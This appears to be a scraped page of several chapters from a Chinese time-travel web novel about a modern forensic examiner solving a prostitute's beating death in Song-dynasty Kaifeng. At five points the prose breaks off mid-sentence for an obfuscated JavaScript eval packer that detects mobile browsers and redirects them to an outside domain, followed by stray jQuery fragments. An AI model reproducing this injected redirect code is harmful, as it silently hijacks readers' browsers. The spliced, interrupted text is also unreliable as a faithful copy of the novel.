祠堂里的烛火左摇右摆,红色的蜡泪一股股往下淌,跟淌血似的。
02
大夫人皱紧眉头问:“日子可是算错了?这天怎么看也不像吉日!”
丫鬟赶紧捂了夫人的嘴:“可不能说这不吉利的话!快呸了去!”
风又大了起来,“呜呜”嚎叫着,夫人也噤了声,露出不安的神色,但她定了定心神,强扯出一个笑容,说:“大风来财,大风来财!”
院外隐隐传来了唢呐的声音,丫鬟跑去宅门前眯着眼张望,终于在枯叶飞卷的街道尽头看到了一群人架着八抬大轿,一匹高头大马上坐着个端正的青年男子。
丫鬟被风吹眯的眼里顿时有了光,高喊着“来啦来啦!姑爷来啦!”
乐师、牵马人、媒人、轿夫、卜师加起来有二十几人,队伍浩浩荡荡,在狭窄的街巷里被排成了一长串。
明明是大喜的日子,但迎亲队伍的脸色似乎都不怎么好。
抬轿的男丁都被涂了胭脂在脸上,原本是为了喜庆,但他们个个凶神恶煞,反倒显得十分骇人。
03
女方家第一次见到新郎,长相是满意的,比预期的还要好许多!
喜服熨帖,花冠气派,看起来威风凛凛,不过按照习俗,身为丈母娘的夫人还是要象征性的挤兑挤兑新郎,挑剔他的外表,说他配不上自己的女儿。
新郎听着,嘴角只是微微扬了扬,肯定是不生气的,但似乎也没有特别喜悦。
夫人顿觉不对,扯过媒婆到了角落问怎么回事。
媒婆眼珠子滴溜溜转,抓起夫人的双手握在自己手心,叫她放一万个心:“姑爷是大户人家,哪能喜形于色,多不稳重!何况今天这么大的风沙,一路过来尽吃了尘土,换谁也张不开嘴不是?”
夫人稍稍安心一些,又对媒婆说:“这接亲的男丁也忒强壮了些,看着不像是来迎亲,倒像是打手!乐师这唢呐吹得五音不准,不像专业的!”
媒婆登时不愿意了,垂下了双手,厉声问道:“听夫人这意思,是想悔婚了吗?名帖也拜过了、订婚礼金也收了、受函仪也办了、聘礼你们也照单全收了,现在姑爷已经上门迎亲了,你要悔婚?这要告到官府,可是杖六十的罪!莫说令嫒以后还嫁不嫁的出去,您这一家子还能不能在汴京混,可都不好说了!”
卜师高喊着“吉时已到”,催着新娘赶快上轿。
夫人也没时间犹豫,下了决心,转身去扶新娘了。
一双异
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817332|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常秀珍的红色绣花鞋在众人搀扶下迈出了宅门,大汉们放下红轿,媒婆拉开轿帘,等待新娘上轿。
一阵横风刮来,卷起了红色的盖头,露出新娘涂了脂粉后煞白的脸,那鲜红的唇被衬托的更加艳丽。
04
待新娘上了轿,唢呐重新吹奏起来,轿夫们喊了号子抬起花轿,轿厢檐上挂着的铜铃叮叮当当响了起来。
队伍在漫天黄叶中渐渐远离。
看起来不像送亲,倒像是送葬……
05
轿子走出几条街巷之后,没了平稳的劲儿,左右摇晃起来。
新娘本不好出声,但队伍似乎走得没个尽头。
夫君家距离自己娘家没有几里路,怎么会走这么久!
这时新娘才发觉,这轿子三面封闭,没有窗户!
她忍不住问外面的人怎么这么晃、怎么还没到。喊了几次无人应答,声音全淹没在不着调的唢呐声中。
新娘忍无可忍,伸手要扯那门帘,却发现不知何时那帘子被四角封死,而且帘外还多出了一个挡板!
现在这轿厢彻底四面封闭,她显然是被关进了一个牢笼之中!
06
一行人抬着一顶婚轿,行走在一片荒无人烟的树林中。
风不知何时已经停了,四周开始起雾。
面无表情的新郎完全无视身后几个凶神恶煞的壮汉将轿子抬得七上八下。
铜铃声叮叮当当,在雾气中若隐若现。
轿子里似乎传来女子的尖叫声,也都被唢呐的鸣叫完全遮盖。
他们缓缓消失在了浓雾中。
27.01 起了个大早,卧了口大草
01
别看李士卿多金又阔绰,宅邸却没有一仆一婢,也没有私家马车。他说不喜欢外人住家里,不方便。搞得宋连又有些局促,表示等这个月发了工资,就承担起一部分日常开销。
李士卿却说他没有那个意思,叫宋连不要多想,安心住下,李宅与开封府相距仅一公里出头,过个马路就到了,上下班很方便。
第二天,宋连在隔壁相国寺僧人的打更声中醒来,舒展双臂伸了个大大的懒腰。
乾坤未定,你我皆是黑马;闹钟一响,你我皆是牛马。
他正要出门打水洗脸,就看门口已经放着一盆乳白色液体。盆边还留着一张字条,贴心的告诉他这是特意从州桥酒店订购的洗脸水,不能喝。
水还是酒店特别调制的,据说还有玫瑰的、珍珠的、中草药的……
宋连万万没想到,他一个连洗面奶都很少用的现代人,穿越千年在老古代竟然要每日按时护肤!
别说,你还真别说,这洗脸水温度适宜,醒脑提神,再配合马鬃毛美白消炎牙粉套装,纯天然零添加,营养又健康!
02
洗漱完毕,宋连犹豫着蒯一点擦脸的面霜香膏,想了想又放了回去——倒不是怕自己搞的太香,而是万一有尸检任务,香气会干扰判断。
李士卿已经出门,留了字条告诉他早餐会由附近的州桥酒店送来。
说早餐早餐到,州桥酒店的外卖小哥提着食盒给予宋连一步到胃的温暖。
小哥堆满笑容说李郎君是他们的VVVIP客户,办了12张包月早餐卡,保证早饭日日不重样。
今天送来的是红豆粥、五味肉粥、炒肺、胡饼和两个凉拌小菜。味道相当不错。
搭配早饭还有一味重要的佐餐——晨报。
没错,就是报纸。每日凌晨由小贩沿街叫卖,或送往各大酒楼,供住客选购。
这些小报都是民间自发组织印卖的,有朝堂大事也有坊间趣闻,有惠民政策解读也有娱乐八卦……虽然消息可靠程度不太有保障,但胜在时效性很高,哪怕午夜发生的大事,也赶得上凌晨的版面,可谓是“朝闻天下”,在汴京城十分流行。
宋连粗略浏览了版面,头版是说制科考试即将举行,近日汴京城迎来全国各地莘莘学子,并附上了一个外地学生京城漫游指南,非常贴心!
翻到背面,在各种趣闻轶事中,宋连捕捉到了一个熟悉的字眼:地渊祠。
仔细一看,是说这个非法淫祠已经被拆迁,正在修建一座由政府官方批文的寺庙云云。
汴京城寸土寸金,那祠堂占地面积不算宏伟,但也不小,也不知哪个土豪看上了那块地皮,一掷千金买了下来,不修房舍不做买卖,而是又建了个合法寺院。
嗨,有钱人的世界他不懂,有钱人的快乐他也感受不到。还是多享受当下自己美味的早餐吧!
宋连一边用膳一边看报,即便在现代也几乎从未有过如此闲适小资的生活。
幸福有时候就是这么简单,只需一顿饱饭,一间草屋,一亩良田,一亿存款,就能快乐一整天。
03
李士卿在字条里特意嘱咐宋连走前关好门窗,早些出发。
宋连看了看院中的日晷,还早还早。
他之所以这么不紧不慢,是因为从李士卿家出门往西走一公里,穿过大相国寺就到了东京城的南北中轴线——御街。
御街有将近300米宽,步行200来步过个马路,就能抵达开封府。
要不是从卧室到大门还得走个300多米,宋连步行十分钟以内就能到单位,简直是社畜的理想通勤距离!
于是他满意的对镜整了整仪容,欣欣然步行去上班了。
沿着大相国寺的红墙走了五分钟,就到了御街边上。
皇帝从宣德门出来,坐着驾撵沿御街浩浩荡荡往北,一路经过州桥,出了朱雀门,就算是出了内城。再经过龙津桥出了外城南薰门,就是出了东京城。
这是皇帝祭祀太庙、南青城祭天及游幸玉津园的必经之路。
既然是皇帝要走的路,自然是修的宽敞气派。现代马路双向八车道也不过30米宽,这条街是它的十倍。
御街东西两侧修建了漂亮的廊亭,种植了可爱的绿植。每年春夏时节,花草盛开树荫茂密,这千步廊就成了京城一景,是市民闲暇游览的好去处。
时间还绰绰有余,宋连站在路边,一眼望去宽阔的街上乌泱泱全是人,“摩肩接踵”这个词在此刻具象化了。
贩夫走卒匆匆行过,叫卖的小调子奇怪又特别;路人有的闲庭信步,一看就是大清早出来赶早市的;也有的行色匆匆,像极了社畜牛马要迟到的样子。
这是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827841|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样的市井画面,充满烟火气息,比影视剧里看到得要鲜活很多。
宋连忍不住哼起了小曲,迈出了新生活的第一步。
他完全没有发现,在这熙攘流动的成百上千的人群中,只有他是自东向西在移动……
04
乔迁新居的第一个工作日,宋连被巡查的军爷半路拦下,原因是:不能横穿马路。
这御街是南北向的,行进方向也只能顺着南北行进。
若想要从御街一侧到对面一侧,路线一:往南经过州桥调头,少说两公里;路线二:往北绕皇宫一圈,五公里起步。
还有更坏的消息:早高峰会平等的折磨每一个大都市的上班族,一千年前也不例外。
前一秒还在感慨市井烟火,为此心情愉悦的宋连,现在再看那些路上匆匆行走的贩夫走卒、赶集的老百姓,以及乘坐驾撵上班去的达官贵人,都是迟到扣钱的罪魁祸首!
人挤人不说,还时不时有马车经过。
那场面,宋连只能想到一个场景来精准形容:在春运高峰的硬座车厢里,推着“花生瓜子矿泉水,卤蛋泡面火腿肠”的售货员不停地喊“让一让,挪挪脚,腿往里……”
如果马车上坐着的是位官员就更要命了。所有人都得停下来给官车让路,要是官阶大点,路人还得行礼。
这三步一停五步一叩首的,那三五公里的路程,没个俩小时恐怕很难走到。
05
今天提刑司的头条新闻:从前干啥啥不行,考勤第一名的宋检法,现在干啥啥靠谱,但考勤要垫底!
宋连想用“刚搬了家,不熟悉路线,情急之下不得已才想走个捷径”为由搪塞过去。
傅大人却笑眯眯说:“没事没事,我懂我懂,夺舍后遗症嘛!”
宋连很想挠头,挠傅大人的头!
结果那老头竟然还唱上了:“君居御街东,我居御街西,如何百步间,十日不相从。”
歌词大意就是居住在御街两侧的人,虽然直线距离只有几百米,但因为不能横穿马路,所以去对方那里是很麻烦的,因此十天半个月也来往不了一面。
唱完之后,继续乐呵呵对宋连说:“理解归理解,迟到也是真迟到,罚还是要罚的,就在刚才,一老农在路边捡到了一昏迷女子,送来开封府的时候人已经咽气了,要不然你去看看吧?”
28.02 勿扰,否则诈尸!
01
一个衙卒正小跑着穿过开封府衙各个办公区。尽管已是秋天,他还是跑出了满头的细汗。
眼看快到府衙最深处,衙卒逐渐慢下了脚步——果然还是来晚了!
面前一间房门口,已经呜呜泱泱围了好些人。这衙卒个子矮小,行动灵活,却也挤不进密不透风的人群中。
他们围观的房间,槅扇长窗上用浆糊贴了一张宣纸,上面是用毛笔歪七扭八写着三个大字:解剖室。
下面还有一行红色小字:勿扰,否则诈尸!
显然标红的警告并没有什么用,还不是被围堵得水泄不通。
02
面前的女子梳着绀绾双蟠髻,带着花瓣红心石青的发饰,还插着一支蝶形银钗。身穿淡绿色窄衫披帛,内搭鹅黄-色襦裙。披帛与襦裙的后颈处都很低,露出纤长的脖颈。
要不是因为细胞湮灭而失去了生气,使得面容看起来有些凹陷下来,这应该是一个面容姣好的年轻姑娘。
“女性尸体,尸长153cm,发育正常,营养中等,尸斑暗红色,位于颈部、腰部未受压处,指压稍褪色。略有尸僵。甲丁,把剃刀递给我。”
宋连身穿白色围裙,双臂裹了袖套,手上带着一副看起来十分不贴合的厚厚的胶皮手套——这是他近些日子最大的研究成果——猪尿泡做的手套。
优点是能够很大程度上隔离尸体上的各种细菌以及潜在病毒,让宋连工作的时候心里不至于七上八下。
缺点……那就很多了。不贴合只是其中最微不足道的缺点,剩下的还有柔韧度啊防护性啊等等,最大的问题还是有味儿。倒不是他受不了这股骚味儿,毕竟他面对过的各个形态的尸体没有一千也有五百,这点味道对他来说不算什么。但就是这点味道,会干扰他对尸体状态的判断。
但没有办法,目前只有这个条件了,毕竟解剖无名尸体是个挺高危的活儿,戴上这副手套,聊胜于无。
甲丁正专心在尸账上记录,顺带着就写下了“甲丁,把剃刀递给我”这句话,写完才反应过来,这是宋连在跟他说话呢。
手边就是工具台,上面整整齐齐码着各种工具。甲丁十分熟练的从中挑出了剃头刀,反向将刀柄对着宋连递了出去。
他现在是宋连的助手搭子,虽然远比不上岳雲的专业度,但递个刀片还是没什么问题的。
宋连低着头说了声:“谢谢。”
他抬手刚要下刀,突然有人喊道:“身体发肤受之父母,她家人还未找到,你就这么剃了姑娘的头发,这、这是大逆不道!”
03
自淫祠藏尸一案之后,宋连在开封府内名声大振:一向默默无闻的平庸检法官,中元节被鬼夺舍之后得到了来自阴间的力量,能听懂“亡者之音”,诡谲得很!
于是宋连就成了开封府衙内的焦点人物,大大小小的伤情鉴定尸体解剖几乎都排给了他,每逢主刀必有围观者络绎不绝。
这些围观者中,有的是带着满腹溢美之词而来,也有些则是带着满腹狐疑而来,还有不少人是专门来抬杠的杠精。
无论是哪种人,都增加了宋连的工作难度——他要一边解剖,一边教学,一边回答问题还得一边应付杠精。
杠精中也不乏一两个红眼病,动不动就要上升到人身攻击的层面。
刚才眦哩哇啦喊叫的这位年轻朋友,就是他解剖室里的“老病号”了。
要说此人也是真的“敬业”:只要是宋连主刀的解剖他场场必到,而且早早就到,占据内场C位,方便他杠得清楚喷的明白。
不仅如此,他对宋连的每个动作都观察得细致入微:总共划了几刀,分别多长多深,都在什么位置……记这么清楚也是为了下一次解剖中如果做得和之前有略微差异,好第一时间跳出来挑刺。
这一行径让甲丁首先不爽了起来:我都没记这么细致,你在这刷什么存在感!怎么还在我的地盘上耀武扬威的!
宋连对这种人可以说是毫无办法,只能非常认真、诚恳地对他说:“你有这个闲工夫,钻研什么都会成功的!”
此时这位病入膏肓的年轻人还在吠叫不止,宋连和甲丁倒是已经习惯了,该干嘛干嘛。
但一个白胡子大爷终于忍不住,厉声喝止:“孽徒!莫再口无遮拦,滚出去!”
老头穿着青灰色对襟襦衣,领口、袖口、衣摆有黑色封边,长裤下一双圆口布鞋十分干净,一看就是个讲究人。
这是开封府御-用的老仵作了,和开封府衙合作了将近四十年,包拯担任权知开封府的时候他就是提刑司“一把刀”,虽然没有编制,但在府衙里名望还挺高。
老头去年刚刚退休,带出的几个徒弟还在继续为北宋的刑侦事业发光发热。
听说了宋连的传说,老仵作本着“活到老学到老”以及“活久见”的原则和精神,要来现场观摩。
他身边围绕着五六个年轻人,都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834434|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的门徒,那小杠精就是其中之一。
他哪知道小杠精已经是宋连小课堂的常客了,看这小-逼孩儿出口这么嚣张,只觉得自己的老脸都要没处搁了。
教训了孽徒之后,很抱歉的对宋连作了揖,请他不要见怪,继续工作。
老师都作揖了,徒弟们更得表示了,排成个小半圆90°鞠躬,那小杠精被他师兄拍了一巴掌后脑门,面红耳赤,也不情不愿地鞠了个躬。
一群穿着白衣带着白头巾的汉子,围着宋连一鞠躬二鞠躬三鞠躬,感觉下一步就该被他们送走了。
04
女尸被剃了光头,左额头皮一处5x4cm的伤口就显现了出来,除此以外,后枕部还有一处陈旧性疤痕,面积差不多有6x6cm。除此以外,尸体眉弓外侧表皮轻度肿-胀,双眼眶有明显淤青,眼睑也有充血。角膜轻度混浊,还能透视瞳孔。鼻腔里有一些暗褐色液体,口唇也有挫伤。
面部检查结束,宋连示意甲丁将闲杂人等统统清场。
如果仅是为了学习解剖知识,宋连当然愿意在不违背历史进程的情况下倾囊相授的,但人群之中很多人是为了猎奇,更有甚者是专门来看裸//体女尸的。
死人也有隐私和尊严,怎么能让她成为猥-琐者的闲话谈资呢!
甲丁黑着脸,近乎蛮横地将围观人群驱散出去,但到了老仵作这里,他也不敢说什么,老头也没有离开的意思。
宋连点点头,默许了老头和徒弟留下,老仵作又要向宋连作揖,被宋连拦下了。
一排人向大体老师鞠躬他没有意见,但鞠躬对象是他自己就有点……受不起。
女尸右肩膀有一处大约1平方厘米的擦伤,左手肘、左小腿都有不同程度的表皮擦伤。
宋连查到她外Y的时候停住了。
她的外Y部-位有椭圆形溃疡,突出表皮边界清晰,尽管猪尿泡的手套让触感降低了很多,但还是能感觉出软骨样硬度。
这是一期梅毒的标志。
除此之外,尸体外Y及G门处还有花菜样尖锐湿疣。
尖锐湿疣在北宋时期大概叫“疳疮”之类的,或者就叫“湿疣”,这不在宋连专业范畴之内,他也记不清了。
但梅毒是15世纪末,欧洲殖民者与美洲原住民接触后产生并传入欧洲的,16世纪后经海上贸易才传入中国。
也就是说,它和宋连一样,是本不应该出现在这个时代的产物……
29.03 什么味这么臭?哦,男人
01
听到“传染病”三个字,几个年轻的学徒们集体默默后退了一步,与宋连拉开了好些距离。跑最远的就是那个脸红脖子粗的杠精小病号,躲在师兄弟中间把自己隔离起来。
倒是老仵作,反倒上前一步,与尸体保持一定的距离仔细观察。
宋连则适时开始普及手套的重要性——在发现梅毒的那一刻他自己也出了一身冷汗,感谢现代文明,感谢系统的法医学教育,让他养成了良好的卫生习惯,在这个抗生素靶向药一概全无的年代幸运的保住了自己一条小命,两次。
但他更加忧心的还是梅毒的问题。
他没有和任何人透露这件事,直觉这背后可能会有非常复杂的原因,他现在一时没有精力细想。
老仵作看了解剖全程,此时对这女子的死因已经有了自己的判断:“额、肘、膝拶[zā]头撞致死。”
他认为女子因为殴打到头部致死,原因是鼻孔中除了黑褐色鼻血,还有澄黄液体,这是脑液打漏了从鼻孔中溢出所导致的。
学生们纷纷点头附和,这种现象在他们的解剖经验中时常遇到,并不是什么奇难杂症。老师只一眼就判定了死因,那检法官却要忙活半天,不免有作秀的嫌疑。
但宋连对老仵作的经验判断提出了异议。引起了四下哗然。
“仅从尸表检查来看,头部的擦伤还不至死,而鼻腔中的液体就是血液,只是时间有点长了,血浆和血清有些分离。”
“不是死于头撞,那是为何?难道是因为疳疮?”
“当然不是因为尖锐湿疣,具体因为什么,还得进一步解剖。”
于是宋连在众目睽睽之下,又一次给尸体开了瓢,还在整个躯干上豁了个“Y”字形大口子,一直豁到肚脐下方。
老仵作来这之前已经听说了这鬼检法官下手极为怪异,现在亲眼目睹,也不由得发出一声惊呼。
02
接下来的过程,就是甲丁十分熟悉的肝脑涂地、牵肠挂肚、掏心掏肺、肝胆相照……然后一一上称。
次数多了,甲丁已有了先见之明,早早把观摩团引到门口,方便他们来来回回出去呕吐,他甚至在门口备好了几只大桶,贴心的减少了负责扫洒的卒吏的工作量。
“尸体右侧额颞头皮下出血,10x8cm,颅骨无骨折,颅内各腔隙未见出血。”宋连又报了大脑、心脏等胸腔各脏器的重量、厚度,基本都没有异常。
“腹部问题就比较明显了,”宋连向众人指出问题所在:“腹腔内暗褐色浑浊液体,有……将近两升了,大量黄白色脓苔附着在胃肠浆膜表面及内侧腹壁,大网膜粘连。”
宋连又扯了一段小肠,说:“这里有明显的破裂穿孔,肠壁内黏膜下有小灶状出血,黏膜各层都有水肿。”如果有仪器检测,就能测出大量中性粒细胞浸润和炎性渗出物。
这些太超常的名词宋连只是挑挑拣拣说了一小部分。检查完其他脏器之后,宋连对死因下了最终判断:
“死者头面部和肢体有多处擦伤,确定她生前遭受过外力击打。除此之外,腹腔内空、回肠交界处有破裂穿孔,黏膜下有小灶状出血,其他组织、结构完好。所以她是被人殴打、踢踹导致小肠破裂穿孔,继发急性弥漫性化脓性腹膜炎,引起感染性休克,致器官功能衰竭而亡。”
屋里鸦雀无声,一屋子人加起来比一具尸体还安静。
宋连这结论下了一百多字,他们一个字都没听懂,只能在内心感叹:果真是鬼话连篇!
这表情甲丁再熟悉不过,他搁下笔,给他们翻译了一下:“她是被人把肠子踢烂了,活活踢死的。”
03
已知死者大概率是妓坊的妓-女,又知她是被人殴打致死,接下来只要找到她的工作单位,确认身份,基本就能锁定犯罪嫌疑人了。
尸体是被一个拉车的农人发现的,因为第一发现人也有重大嫌疑,因此他一直被扣留在府衙内,由宋连的同事审讯。
老农坚称自己发现她的时候她还活着,尚有一口气在,老农想过送医,但又怕被讹上,他也交不出诊金,所以干脆送来报官。
人是在外城南薰门北面的曲院街发现的,那里倒是有一条著名的妓馆街。这就更加证实了这女子是妓-女的猜测。
但具体是哪家的姐儿,老农也不知道了。
宋连对老农的回答十分不满意,劝他坦白从宽,抗拒从严。
“尸体已经出现尸斑和尸僵,角膜也混浊了,人死了最起码一两个时辰,你从南薰门拉车走过来最多四里地,你就算拉着尸体走得慢,半个时辰怎么也到了!你发现她的时候,她明明就已经死了!”
老农百口莫辩,只得懊悔叫冤:“这真跟我没关系!我要拉个死人来,嫌疑更大!所以就撒谎说我见她的时候她还活着……”老农一把年纪哭得像个孩子,再怎么问,他也确实不知道更多的信息了。
抛开他有没有拿姑娘身上值钱的东西不说,能把尸体送官府也算是热心市民了,理论上还是要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840966|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
予以鼓励称赞的。
营造良好的社会风气从我做起嘛!
只是同事们对宋连就这么放了嫌疑人,有些担心。
“不是他,鞋印对不上。”
原来宋连早就检查了死者的衣服,既然是连打带踹,衣服上必然留下很多痕迹,果然就提取到了较比完整的脚印。
宋连捡起地上一张废纸,上面有那老农的鞋印,两者一比对,马上看出了区别。
“宋检法,真乃神鬼传奇!”老仵作趁人不备,又带头作揖,众人纷纷折服。但宋连并不觉得开心。
神鬼传奇,听起来就很阴间!
04
死者的身份确认向来是最重要也是最难的。
他们现在已经锁定了曲院街,算是重大突破了。只是那里妓馆众多,走访结果很可能一无所获——谁也不会承认自家馆里死了人,传出去还怎么做生意!
曲院街就在太学对面,这事如果发生在大庭广众之下,早该有学生报官,最起码也会有传言传到这里。
但事情过去大半天了,什么言语风声都没有,只能说明那女子是被打死之后扔在那里,很快就被老农发现了。
调查还未开始就陷入僵局,但甲丁是个行动派,“不去问问怎么知道有没有线索!”他拿上女子的衣裙,却停顿了一下,刚想凑近闻就被宋连及时阻止。
“她染了重病,刚死不久也会传染。”。
“可这衣服上的味道好奇怪!”甲丁说。
“啊?什么味?”宋连什么都没闻到。
“有一种是香味,是熏香,专门用来熏衣服的那种。要么是妓馆里的,要么是姑娘闺房里的,不管是哪里的,这味道不算常见,去那些妓馆闻一闻便知!”
甲丁说完,又嗅了嗅,更加确定地说:“还有一种是臭味,汗臭、体臭、铜板臭……混杂,该是个臭男人的味道,说不定就是凶手!”
他说臭男人的时候,在场所有人都不自觉嗅了嗅自己身上的味儿。
宋连倒是头一回发现甲丁还有这项特殊技能。“你鼻子这么灵呢?”
甲丁点点头:“算是吧,反正比别人闻到的多些!”
宋连想说狗都没你厉害,但没好意思说出口。
一想到他们的工作环境:又是尸腊又是高腐,还有手上那副散发浓郁骚臭味的手套……宋连突然觉得甲丁太厉害了,这么灵敏的嗅觉,还得跟着自己干法医,还这么快就脱敏了,不愧是和白队拥有同一张脸的人,了不起!
30.04 九漏鱼禁止入内
01
考虑到可能需要勘验现场,宋连打了报告,拿了牌子跟着甲丁一起去曲院街走访。
两公里的路上尽是繁华盛景。从开封府出来,沿着俊仪桥街一路南下,沿街有卖鲜花水果的铺子、胭脂水粉的铺子、包子铺、肉饼铺、各种饭店以及辽国大使馆。
穿越来这个把月,宋连最先适应的就是吃。虽然和现代饮食相比,北宋的料理还是少了很多佐料及食材,但胜在纯天然无污染,新鲜还花样多。
比他天天在单位嗦泡面可要丰盛得多了!
可惜公务在身,宋连没时间也没心情研究这些美食。
据甲丁说,曲院街在太学附近,那些有钱有闲又风-流成性的学生们一旦成为梅毒携带体,很快汴京就会成为文艺复兴时期的欧洲——不得个梅毒都不好意思说自己是个贵族。
尤其这种X病还容易绝嗣,会影响王室血脉。赵宋皇室的子嗣原本就很够呛,一旦这病情爆发起来,会不会提前结束一个王朝也不好说!
一想到这里,宋连的表情又阴沉了一点。
再往南走,人又热闹起来,都是年轻的面孔,穿着风格相差无几。
“糟了,正赶上太学下课了!”
宋连有点不明白:“怎么就糟了?”
“酒楼妓馆要开门迎客了!”
怕什么来什么,这些学生在这潇洒一-夜,不知道会有多少人感染上梅毒!
“快!甲丁,我们得赶紧阻止学生们去消费!”
“阻止?”甲丁一脸震惊,“就凭我俩?不会有人搭理咱们的,莫说阻止,我俩都未必能挤进人家的大门!”
02
这一路街面都宽阔得不像话,宋连琢磨了一下,要是在这里安装信号灯,过马路的时间得120秒起步。
二人远远看见一个十分气派的三层建筑群,沿街门面有一面写着店名的番旗高高扬起,上书:谪仙正店。
宋连在书上读到过,这谪仙正店是汴京城数一数二的高端酒店。里面消费也是高的离谱,据说一勺酒就卖七八十,算下来差不多就是茅子的价格了!
他们自然是没钱也没闲进去看看的,只是路过的时候两个人都默契地放慢了脚步。
宋连在观察五星酒楼的装修风格。门面搭筑的彩楼欢门有三层楼那么高,用竹木架子做成三角样式,上面挂满了彩球花卉,像是本土版的圣诞树。
门口码着成堆的酒桶酒坛。不用别的,这就是最好的招牌了!
盐酒属于国家管控商品,不是随便谁就可以制作售卖的。正店之所以叫正店,就是因为有官方下发的造酒售酒执照。
整个汴京,拥有执照的酒店也没几家,他们除了自己售卖,还是其他大大小小饭馆酒家的酒水供应商。
光是这门生意,老板就算得上是巨贾了吧!宋连遐想。
甲丁则趁机疯狂吸入这酒香气。反正他鼻子好使,闻过就等于尝过了!
但甲丁不承认自己在过酒瘾,至少不完全是:“你看见门口挂着的栀子灯了吗?”
宋连不知道哪个是栀子灯,看着一排灯笼里有两只不同的,确实像花苞的造型,旁边还有个“香醪”的番号。
甲丁看宋连茫然的眼神,拍了拍脑门:“嗨,忘了忘了,你现在什么都不记得了!酒店门口挂栀子灯写香醪,就说明有妓馆姐儿陪酒。不过我闻了闻,这儿没那味道。”
谪仙正店旁边,一整条街全是妓馆。
宋连站在浩瀚的红-灯-区入口,心里想的是:这要是放在一千年后,出警一次,全年指标就完成了啊!
03
宋连和甲丁就像两个变-态,见到妓馆就进,进去也不理会那些妖娆妩-媚夹子音的姐儿如何热情迎客,凑到跟前就一通闻,这个过程主要是甲丁在做,宋连只是尴尬站在一旁,想笑又笑不出来,表情扭曲,更不正常了。
大汴京的姐儿们还是见过世面的,看到这俩变-态也不慌张嫌弃,怎么说都是长相帅气的青年才俊,搞不好是哪位官人家的公子也说不定,有点小癖好也能理解,该招呼还是要招呼的。
因此他们进去容易,想出来就很费劲了,一群姑娘围着上下其手,里面过一遭,魂儿都要被拽掉几缕。
要是遇到上规模的青-楼,又是另一种上难度了:那地儿也不是你想进就能进的,先吟诗作赋拿到爱的入场卷,然后等里面的姐儿递话,递的都是诗词歌赋,他俩诗词文章的储备加起来没超过九年义务教育,只能靠甲丁蛮力入场,快速嗅探,没闻到蛛丝马迹就撒腿跑路。
一条街走访了不到三分之一,两人简直精疲力尽。
就在二人准备打退堂鼓的时候,一阵小风吹来,带着令人振奋的信息,穿过熙熙攘攘的人群,顺便夹带了这些人的干扰气味,一股脑钻进甲丁的鼻子里。
甲丁的眼睛立刻亮了起来,挺直后背,对着空气又闻了几下,大步向前走去了。
宋连是不太清楚有没有前世这一说的,如果有的话,甲丁绝对是狗转世来的!
04
警犬甲丁在一个叫“百花楼”的妓馆门口停了下来,又闻了闻,说:“就是这里!”
这回宋连也闻到了,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849559|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浓郁的果木香调。
二人走入衡门,里面一个小院,院子不大,却装扮出了一点园林风格:松树假山池塘,锦鲤肥得像猪,在池水里艰难扭动。
正前方是一座单檐歇山顶的二层楼阁,一层正面七开间,当中的三间前面又突出一层。二楼从一楼屋面升起,五开间,屋檐由斗拱托高,挑出很远的距离。窗棂帘幕低垂,屋内灯光映照出婀娜的投影。
二人走进正厅,果然如预料的那样,里面呜呜泱泱,人影参差。茶酒博士穿梭在客人之间,忙出了三头六臂。
